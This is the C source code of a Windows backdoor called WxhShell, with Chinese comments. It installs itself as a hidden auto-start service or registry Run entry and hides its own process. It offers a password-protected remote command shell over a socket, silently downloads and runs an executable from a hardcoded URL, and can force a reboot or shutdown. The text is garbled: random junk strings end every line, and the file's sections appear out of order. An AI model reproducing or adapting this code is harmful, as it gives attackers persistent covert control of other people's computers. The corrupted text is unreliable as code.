    ExitThread(0); Bd>ATc+580  
    } S:2 xm8 i  
    break; qncZpXw^  
    } }]=A:*jD  
  // 获取shell UK8k`;^KI  
  case 's': { `N7erM  
    CmdShell(wsh); `yhc,5M  
    closesocket(wsh); kd p*6ynD  
    ExitThread(0); 3!?QQT,!)  
    break; 2mx }bj8  
  } 4Im}!q5;:<  
  // 退出 T sJ71  
  case 'x': { u91  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JO87rG  
    CloseIt(wsh); :w4H$+j  
    break; (d <pxx  
    } f|!@H><  
  // 离开 4g.S!-H@R  
  case 'q': { -42 U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lvk*Db$  
    closesocket(wsh); 4uVyf^f\]f  
    WSACleanup(); </fTn_{2s8  
    exit(1); cwUor}<|  
    break; q<fj1t1w  
        } iIo>]\Pw  
  } 3fop.%(  
  } 9I|Q`j?p`  
3 }rx(  
  // 提示信息 P}PMRAek  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PO2]x:  
} i)ibDrX!I  
  } B)-P# ,}  
D>wo>,G  
  return; *EtC4sP  
} okW'}@jD  
4T<dI6I0  
// shell模块句柄 { lZ<'p  
int CmdShell(SOCKET sock) o{ | |Ig  
{ } M\G  
STARTUPINFO si;  hP 1;$  
ZeroMemory(&si,sizeof(si)); _..5G7%#%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <DdzDbgax  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K*MI8')  
PROCESS_INFORMATION ProcessInfo; T~N877  
char cmdline[]="cmd"; piiO5fK|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iB'g7&,L  
  return 0; ]"1\z>Hg  
} :Z5kiEwYM  
A'? W5~F  
// 自身启动模式 ]JHY(H2|  
int StartFromService(void) ![_GA)7  
{ -(.\> F  
typedef struct 6HR*)*>z_  
{ \cq.M/p  
  DWORD ExitStatus; Yf^/YLLS  
  DWORD PebBaseAddress; Vg"Ze[dA  
  DWORD AffinityMask; c6pGy%T-  
  DWORD BasePriority; 'P)[=+O?t  
  ULONG UniqueProcessId; d e~3:  
  ULONG InheritedFromUniqueProcessId; !yTjO  
}   PROCESS_BASIC_INFORMATION; fm,:8%  
mc5$-}1V,  
PROCNTQSIP NtQueryInformationProcess; /K#J63 ,  
qfEB VS(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e?b<-rL   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `r8bBzr@%  
bk-aj'>+  
  HANDLE             hProcess; ]r1 C  
  PROCESS_BASIC_INFORMATION pbi; T]J#>LBd  
_b 8XF&O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A,#hYi=-,  
  if(NULL == hInst ) return 0; O0<GFL$)&  
&($Zs'X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x?Oc<CQ-2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /-)|dP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =Hs~fHa)  
|k9A*7I  
  if (!NtQueryInformationProcess) return 0; >pl*2M&  
84dej<   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /2!"_?<L  
  if(!hProcess) return 0; /waZ9  
Y:="vWWG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9Fh(tzz  
D+  **o  
  CloseHandle(hProcess); `Lu\zR%<  
eDSBs3k7H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /C}fE]n{X  
if(hProcess==NULL) return 0; $pGk%8l%  
RsDI7v  
HMODULE hMod; $yb8..+  
char procName[255]; s2ys>2k  
unsigned long cbNeeded; (Dl68]FX  
cBA2;5E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jQ31u  
$bKa"T*  
  CloseHandle(hProcess); v)2@;Q  
bqg\V8h  
if(strstr(procName,"services")) return 1; // 以服务启动 {#y HL  
G1'w50Yu  
  return 0; // 注册表启动 a[8_ O-   
} @]h#T4z'  
AH], >i3  
// 主模块 *H RxC  
int StartWxhshell(LPSTR lpCmdLine) thDE 1h  
{ ~dwl7Qc  
  SOCKET wsl; K`2a{`  
BOOL val=TRUE; ?Xo9,4V1  
  int port=0; X|wXTecg*|  
  struct sockaddr_in door; #Y*AGxk  
k\}qCDs  
  if(wscfg.ws_autoins) Install(); .9g\WH#qD|  
c~|/,FZU'  
port=atoi(lpCmdLine); hK$-R1O  
y6?Q5x9M  
if(port<=0) port=wscfg.ws_port; |T"{q  
\ca4X{x  
  WSADATA data; E%-&!%_>D@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BWX&5""  
3r{'@Y =)Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   es(vWf'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d*,|?Ar*b  
  door.sin_family = AF_INET; rd 1&?X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ( |5g`JDG  
  door.sin_port = htons(port); q#Qr@Jf  
GW{Nc !)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^HL#)fK2I  
closesocket(wsl); XfsCu>  
return 1; X>|.BvY|  
} ]3QQ"HLcp  
_L!"3  
  if(listen(wsl,2) == INVALID_SOCKET) { D\V}Eo';6  
closesocket(wsl); Z9aDE@A  
return 1; >8tE`2[i*  
} &:jE+l  
  Wxhshell(wsl); nw5#/5xw  
  WSACleanup(); oaBfq8,;  
8a)EL*LH`  
return 0; Vq'&t<K#  
m9xu$z| e  
} }}(~'  
\^-3)*r  
// 以NT服务方式启动 ?\#4`9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4'rk3nT8  
{ Y!*,G]7  
DWORD   status = 0; xG}eiUbM`  
  DWORD   specificError = 0xfffffff; +ic~Sar  
*} w.xt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SKfv.9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iKS9Xss8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U.6hLFcE  
  serviceStatus.dwWin32ExitCode     = 0; 9 [I ro  
  serviceStatus.dwServiceSpecificExitCode = 0; ,.}PZL  
  serviceStatus.dwCheckPoint       = 0; uV 6f~cQ  
  serviceStatus.dwWaitHint       = 0; cW GU?cv}  
3iEcLhe"4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BS|-E6E<  
  if (hServiceStatusHandle==0) return; Mc6Cte]3|  
$oua]8!  
status = GetLastError(); *BO4"3Z  
  if (status!=NO_ERROR) In;z\"NN4  
{ v}Aw!Dv/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s_*eX N  
    serviceStatus.dwCheckPoint       = 0; &gEu%s^wR  
    serviceStatus.dwWaitHint       = 0; Vd1K{rH#  
    serviceStatus.dwWin32ExitCode     = status; y?unI~4tC  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7T2W% JT-,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "+ Qh,fTt  
    return; #/jHnRrQ   
  } q2<J`G(tZ  
2.lnT{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F9+d7 Y$  
  serviceStatus.dwCheckPoint       = 0;  vo(?[[  
  serviceStatus.dwWaitHint       = 0; 4*9Dh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F#<P FT4i  
} .$OInh  
1)PR]s:-m@  
// 处理NT服务事件,比如:启动、停止 ntkinbbD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bA^a@ lv a  
{ Jb$z(?S  
switch(fdwControl) P`%ppkzV6  
{ *HXq`B  
case SERVICE_CONTROL_STOP: X%F9.<4  
  serviceStatus.dwWin32ExitCode = 0; RU >vnDaC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {oJa8~P  
  serviceStatus.dwCheckPoint   = 0; 4 ?c1c  
  serviceStatus.dwWaitHint     = 0; slmxit  
  { .BUl$RW|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?rK%;GTo  
  } =J'?>-B  
  return; p.\KmEx  
case SERVICE_CONTROL_PAUSE: C1do]1VH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FXSDN268  
  break; )Ud S (Bj  
case SERVICE_CONTROL_CONTINUE: =Fs LF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uE|[7,D7;u  
  break; -*Pt781  
case SERVICE_CONTROL_INTERROGATE: e S=k 48'U  
  break; ?7p| F^  
}; X}=f{/\S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J-f0  
} #&:nkzd  
7w$R-Y/E  
// 标准应用程序主函数 lKD@2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Uy1xNb/d  
{ [ O)Zof  
: [9'nR  
// 获取操作系统版本 ["IJ h  
OsIsNt=GetOsVer(); g|HrhUT;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w +Z};C  
2&d&$Jg  
  // 从命令行安装 W.R'2R#  
  if(strpbrk(lpCmdLine,"iI")) Install(); X]*/]Xx  
(j I|F-i  
  // 下载执行文件 yy74>K  
if(wscfg.ws_downexe) { ? 7EVmF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d&u/7rm  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4a|Fx  
} '9dtIW6E  
Om"3Q/&  
if(!OsIsNt) { IjRmpVcwN  
// 如果时win9x,隐藏进程并且设置为注册表启动 M^f1D&A  
HideProc(); ~.lH)  
StartWxhshell(lpCmdLine); htRZ}e  
} Pb;`'<*U  
else F)5Aq H/p  
  if(StartFromService()) .%<&W1  
  // 以服务方式启动 4~Pto f@  
  StartServiceCtrlDispatcher(DispatchTable); Ft rw3OxN  
else 4<K`yU]"  
  // 普通方式启动 *4:/<wI!  
  StartWxhshell(lpCmdLine); xwxjj  
z{jAt6@7  
return 0; D5b _m|7%  
} c]r|I %D  
NKKO A  
?t42=nvf  
UhTr<(@  
=========================================== k f!/9  
SkA'+(  
XXcf!~uO  
EXcjF  
xi\RUAW  
wIj2 IAD  
" E <SE Fn  
G0> Wk#or  
#include <stdio.h> I yN9 +  
#include <string.h> ^ks^9*'|j  
#include <windows.h> Av>j+O ;  
#include <winsock2.h> ncr-i!Jjk  
#include <winsvc.h> P/9J!.Cm  
#include <urlmon.h> L,pSdeq  
]r1{%:8  
#pragma comment (lib, "Ws2_32.lib") wT= hO+  
#pragma comment (lib, "urlmon.lib") #/dde9y  
 ?|J+dW  
#define MAX_USER   100 // 最大客户端连接数 ~&3"Mi&>`  
#define BUF_SOCK   200 // sock buffer 8#u_+;,p  
#define KEY_BUFF   255 // 输入 buffer U3K<@r  
h}>/Z3*  
#define REBOOT     0   // 重启 =hOa 0X=  
#define SHUTDOWN   1   // 关机 'aP*++^   
}2A1Yt:^P  
#define DEF_PORT   5000 // 监听端口 ==Mi1Q#5C  
&:#8ol(n5b  
#define REG_LEN     16   // 注册表键长度 E}vO*ZZEw  
#define SVC_LEN     80   // NT服务名长度 :fVMM7  
'f7 *RSKqb  
// 从dll定义API ydqmuZ%2h#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]q7 LoH'S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +%\j$Pv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7U`S9DDwq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o>-v?Ug  
s7i.p]  
// wxhshell配置信息 cgXF|'yI&l  
struct WSCFG { Z:J.FI@  
  int ws_port;         // 监听端口 %*q0+_  
  char ws_passstr[REG_LEN]; // 口令 qg{<&V7fE  
  int ws_autoins;       // 安装标记, 1=yes 0=no u=}bq{  
  char ws_regname[REG_LEN]; // 注册表键名 vW-`=30  
  char ws_svcname[REG_LEN]; // 服务名 T$8~9 qx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9PqgBq   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U"Hquo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nSQ}yqM)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X7d.Ie  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fP1OH&Ar  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sVdK^|j  
('6g)@=\U  
}; <bZm  
NVqC|uEAF  
// default Wxhshell configuration akW3\(W}  
struct WSCFG wscfg={DEF_PORT, 6Su@a%=j  
    "xuhuanlingzhe", "5JNXo,H  
    1, [H%?jTQ  
    "Wxhshell", LsQ8sFP_"  
    "Wxhshell", * m&: Yje  
            "WxhShell Service", `h9)`*  
    "Wrsky Windows CmdShell Service", G+ X [R^RD  
    "Please Input Your Password: ", d74g|`/  
  1, !GGGh0Bj  
  "http://www.wrsky.com/wxhshell.exe", TWR $D  
  "Wxhshell.exe" t<k [W'#  
    }; >-@ U_p  
CCh8?sM  
// 消息定义模块 Y0B1xL@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m?VRX .>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m_"p$m;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TBKd|D'H  
char *msg_ws_ext="\n\rExit."; )| x%o(n  
char *msg_ws_end="\n\rQuit."; DGZY~(]  
char *msg_ws_boot="\n\rReboot..."; +'qX sfc  
char *msg_ws_poff="\n\rShutdown..."; L0mnU)Q}C  
char *msg_ws_down="\n\rSave to "; ?6iatI !  
n?LIphc\  
char *msg_ws_err="\n\rErr!"; =8~R $z%  
char *msg_ws_ok="\n\rOK!"; YqSXi~.  
r%,H*DOu  
char ExeFile[MAX_PATH];  _7#tgZyv  
int nUser = 0; I>%S4Z+o  
HANDLE handles[MAX_USER]; s9rtXBJP  
int OsIsNt; #>:(#^Uu  
CSL{Q  
SERVICE_STATUS       serviceStatus; y /:T(tk$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $C05iD  
L=HVdeE  
// 函数声明 |^PLZ>  
int Install(void); $?)3&\)R  
int Uninstall(void); WTD49_px  
int DownloadFile(char *sURL, SOCKET wsh); 6Z7pztk  
int Boot(int flag); N~$Zeq=  
void HideProc(void); ~kYqGH  
int GetOsVer(void); 2yQ}Lxr(  
int Wxhshell(SOCKET wsl); y2#>c*  
void TalkWithClient(void *cs); E!I  
int CmdShell(SOCKET sock); zzfn0g  
int StartFromService(void); 80$0zbw$  
int StartWxhshell(LPSTR lpCmdLine); R@<_Hb;Aeb  
0/:=wn^pg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &oeN#5Es8C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j|&DP-@g/  
|#&V:GZp  
// 数据结构和表定义 D!RE-w92X  
SERVICE_TABLE_ENTRY DispatchTable[] = (}C^_q:7d  
{ $,;S\JmWP  
{wscfg.ws_svcname, NTServiceMain}, '>e79f-O)  
{NULL, NULL} P*SCHe'  
}; (H8C\%g:  
>nhE%:X>  
// 自我安装 #$t}T@t>  
int Install(void) o3F|#op  
{ ``|gcG  
  char svExeFile[MAX_PATH]; o'eI(@{F=  
  HKEY key; G;Wkm|  
  strcpy(svExeFile,ExeFile); 7V=MRf&xQ  
EDHg'q  
// 如果是win9x系统,修改注册表设为自启动 F:;!) H*  
if(!OsIsNt) { #H;hRl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W{A #]r l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |0L=8~M(j  
  RegCloseKey(key); e?!L}^f6X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w#xeua|*I#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7<3U?]0  
  RegCloseKey(key); B`*f(  
  return 0; GOf`Z'\xt  
    } {Vxc6,=  
  } &"[)s[m+t  
} v]:+` dV  
else { ;+i'0$;*w  
l`b1%0y  
// 如果是NT以上系统,安装为系统服务 ={`CH CI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n5v'  
if (schSCManager!=0) i,#k}CNu  
{ q]eFd6  
  SC_HANDLE schService = CreateService [0&'cu>  
  ( M@~~f   
  schSCManager, _%'L@[ H  
  wscfg.ws_svcname, eyT>wma0  
  wscfg.ws_svcdisp, PFS;/   
  SERVICE_ALL_ACCESS, V06CCy8n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `ke3+%uj o  
  SERVICE_AUTO_START, 9c6czirwR^  
  SERVICE_ERROR_NORMAL, skIiJ'db  
  svExeFile, bo@,4xw  
  NULL, )N" Ew0U  
  NULL, 3`A>j"  
  NULL, |(V?,^b^ro  
  NULL, &~~aAg  
  NULL `KpFH.k.K  
  ); c~}={4M]  
  if (schService!=0) oZvA~]x9\  
  { >ZT& `E  
  CloseServiceHandle(schService); OM.k?1%+M  
  CloseServiceHandle(schSCManager); p}3NJV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .xGo\aD  
  strcat(svExeFile,wscfg.ws_svcname); ryxYcEM0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oW 1"%i%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~x|aoozL  
  RegCloseKey(key); ~:>AR` 9G  
  return 0; #:J: YMv  
    } *@_u4T7|{  
  } keLR1qf  
  CloseServiceHandle(schSCManager); 7]Al*)  
} e74zR6  
} Eh\ 1O(a(  
Vb@ 4(Q  
return 1; U4>O\sU  
} 5@P%iBA4(3  
jn-QKdqM  
// 自我卸载 'K@-Z]  
int Uninstall(void) TUh&d5a9H  
{ ]^=|Zd-  
  HKEY key; qib 7Z]j  
6HoqEku/Q  
if(!OsIsNt) { [X,A'Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AR%hf  
  RegDeleteValue(key,wscfg.ws_regname); (1CJw:  
  RegCloseKey(key); ?Z q_9T7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w *50ZS;N  
  RegDeleteValue(key,wscfg.ws_regname); i S%  
  RegCloseKey(key); OJAx:&]3  
  return 0; L#D9@V'z  
  } *q0`})IQ  
} o`bo#A  
} z[fB!O  
else { lT.zNhz:d9  
2fJ{LC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v:KX9A.  
if (schSCManager!=0) }A]BpSEP  
{ ,c>N}*6h=W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `Da+75 f6v  
  if (schService!=0) FigR1/3o'6  
  { ^ [k0k(_  
  if(DeleteService(schService)!=0) { 3{"byfO#%  
  CloseServiceHandle(schService); mjb { ~  
  CloseServiceHandle(schSCManager); NbtGlSs8  
  return 0; AoBoFZLl3  
  } >$\Bu]{1  
  CloseServiceHandle(schService); z3a-+NjDm  
  } }e 9!xA  
  CloseServiceHandle(schSCManager); ;54(+5pqx  
} ;DuXS y!g  
} n`q2s'Pc  
@mf({Q>  
return 1; g\U/&.}DN  
} 79ckLd9  
Sk:2+inU  
// 从指定url下载文件 AoYaVlKG8  
int DownloadFile(char *sURL, SOCKET wsh) IdPn%)>6  
{ "O*x' XhN  
  HRESULT hr; |; $Bb866/  
char seps[]= "/"; fN-Gk(Ic  
char *token; c<wavvfUo  
char *file; P;vxT}1  
char myURL[MAX_PATH]; e+'%!w"B  
char myFILE[MAX_PATH]; MIq"Wy|Zs  
B0d%c&N${  
strcpy(myURL,sURL); G @g h#[b  
  token=strtok(myURL,seps); jd 1jG2=f  
  while(token!=NULL) x4m 5JDC  
  { O:Va&Cyj*  
    file=token; I"@p aLZ  
  token=strtok(NULL,seps); q$[n`w-  
  } B8T\s)fxnX  
ju|]Qlek  
GetCurrentDirectory(MAX_PATH,myFILE); 6;o3sf@Tf  
strcat(myFILE, "\\"); %_MEfuL  
strcat(myFILE, file); vJ"i.:Gf4  
  send(wsh,myFILE,strlen(myFILE),0); !\-WEQrp\  
send(wsh,"...",3,0); >"v9iT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a(;!O}3_)(  
  if(hr==S_OK) *5k+t  
return 0; a?F!,=F  
else h}Rx_d  
return 1; ~.^AL}zm_  
?cKZ_c  
} rn8cdM N  
xzsdG?P  
// 系统电源模块 IA4N@ijRxh  
int Boot(int flag) .2W"w)$nuq  
{ 1l5J P|x  
  HANDLE hToken; d"E^SBO&  
  TOKEN_PRIVILEGES tkp; 0*8TS7.3  
C!+I>J{4f  
  if(OsIsNt) { 5G[x}4U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xCXQ<77  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ooc\1lX  
    tkp.PrivilegeCount = 1; tIc 7:th  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `zA#z />  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _V2xA88  
if(flag==REBOOT) { |A\a4f 'G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _Mk7U@j+9  
  return 0; +D&Pp0xe  
} [Wi 1|]X"G  
else { ?Q0I'RC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KkcXNjPVS  
  return 0; h|D0z_f  
} zF`3 gl.  
  } rf.`h{!!  
  else { 8)L*AdDAW!  
if(flag==REBOOT) { /@"Y^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :"Y*<=x#2  
  return 0; I|9 SiZ0  
} 7B7&9<gc  
else { w(9*7pp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ",yc0 2<  
  return 0; `JB?c  
} q_V0+qH  
} T 2F6)e  
,WD X(  
return 1; nhT-Ido  
} H,QTYXi "  
y7/F _{  
// win9x进程隐藏模块 j$Ab>}g]  
void HideProc(void) L\%orLEmK  
{ v6GPS1:a  
i#/]KsSp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ! | #83  
  if ( hKernel != NULL ) Jrxz'9qRG  
  { &@% $2O.3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8|6 4R:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $q$7^ r@  
    FreeLibrary(hKernel); i/H+xrCK  
  } C0jj(ku&  
}}&#|)Yq  
return; ^uBxgWIC  
} ? *>]")[>  
*.#oxcll  
// 获取操作系统版本 >UDd @  
int GetOsVer(void) ~PnTaAPJ  
{ Fv74bC %  
  OSVERSIONINFO winfo; ;G\8jP'   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); as*4UT3  
  GetVersionEx(&winfo); k{;,6H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8NBT|N~N  
  return 1; m3bCZ 9iE  
  else ) ZfdQ3  
  return 0; y5r4+2B  
} T 20&F  
 -I.d}[  
// 客户端句柄模块 1)m@?CaI`  
int Wxhshell(SOCKET wsl) TaE~s  
{ iOAbaPN  
  SOCKET wsh; sEMQ  
  struct sockaddr_in client; zcrY>t#l  
  DWORD myID; |`Or'%|PR  
9h&R]yz;  
  while(nUser<MAX_USER) aJ Z"D8C  
{ Gg Jf7ie4  
  int nSize=sizeof(client); +M' H0-[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _{<seA  
  if(wsh==INVALID_SOCKET) return 1; :cB=SYcC%  
oVFnl A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;oZ)Wt  
if(handles[nUser]==0) R;,g1m|]  
  closesocket(wsh); >/[GTqi  
else ApBWuXp|u  
  nUser++; F8-?dpf'  
  } -Eu6U`"(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H0m|1 7  
tW WWx~k  
  return 0; 7f rTTSZ  
} %\]* OZ7  
) e5 @  
// 关闭 socket wLK07e(  
void CloseIt(SOCKET wsh) (e(:P~Ry  
{ <-D/O$q  
closesocket(wsh); ^8.]d~j  
nUser--; ~ab:/!Z  
ExitThread(0); vz.>~HBP  
} Po%LE]v,  
[sB 9gY(  
// 客户端请求句柄 Cj~'Lhmv'T  
void TalkWithClient(void *cs) 2hzsKkrA {  
{ {~Rk2:gx  
aDO !  
  SOCKET wsh=(SOCKET)cs; '%q$` KDb  
  char pwd[SVC_LEN]; (L^]Lk x)  
  char cmd[KEY_BUFF]; S$QG.K:<!  
char chr[1]; i3rH'B -I.  
int i,j; eek7=Z  
0 a80 LAK  
  while (nUser < MAX_USER) { th;{V%:LW  
*98$dQR$  
if(wscfg.ws_passstr) { ^R:cd8+?%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "[y-+)WTG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g+J-Zg6  
  //ZeroMemory(pwd,KEY_BUFF); 0u\GO;  
      i=0; y;s`P .  
  while(i<SVC_LEN) { E? _Z`*h  
PLK3v4kVM!  
  // 设置超时 dqN5]Sb2B  
  fd_set FdRead; 1t)il^p4[;  
  struct timeval TimeOut; `@nl  
  FD_ZERO(&FdRead); Q ]}Hd-  
  FD_SET(wsh,&FdRead); Lhqz\o  
  TimeOut.tv_sec=8; Y1]n^  
  TimeOut.tv_usec=0; rqY`8Ry2M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z11O F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r-:Uz\gM  
J+`VujWT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |`.([2  
  pwd=chr[0]; euC&0Ee2  
  if(chr[0]==0xd || chr[0]==0xa) { O#F4WWF  
  pwd=0; @3zg=?3  
  break; !QvZ<5(  
  } G K7![p  
  i++; )ubiB^g'm  
    } S:O O0<W  
xL\0B,]  
  // 如果是非法用户,关闭 socket thI F&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >r !|sC  
} $m/)FnU/  
ZjF 4v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oz,e/v8~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C#Na&m  
zx)z/1  
while(1) { +mn ,F};  
Le\?+h42>  
  ZeroMemory(cmd,KEY_BUFF); PpAu!2lt9  
>U[j]V]  
      // 自动支持客户端 telnet标准   %^ !,t:d  
  j=0; JU)dr4S?  
  while(j<KEY_BUFF) { v_DedVhe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YB2VcF.LU  
  cmd[j]=chr[0]; hpD!2 K3>  
  if(chr[0]==0xa || chr[0]==0xd) { .=s&EEF  
  cmd[j]=0; tP$<UKtU  
  break; T(U_  
  } UWd=!h^dt  
  j++; ++`0rY%  
    } =,6z4" )  
y ~U #veY  
  // 下载文件 sM `DL  
  if(strstr(cmd,"http://")) { x8V('`}j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kZmpu?P  
  if(DownloadFile(cmd,wsh)) l4uMG]m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (2$p{Uf  
  else HK2[]G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?gt l)q  
  } :% ,:"  
  else { w=T\3(%j  
j~[z2tV  
    switch(cmd[0]) { >JFO@O5  
  /}b03  
  // 帮助 rrik,qyv6  
  case '?': { Nh_Mz;ITuu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B#Vz#y  
    break; r{L> F]Tw  
  } >I-RGW'A  
  // 安装 vunHNHltW0  
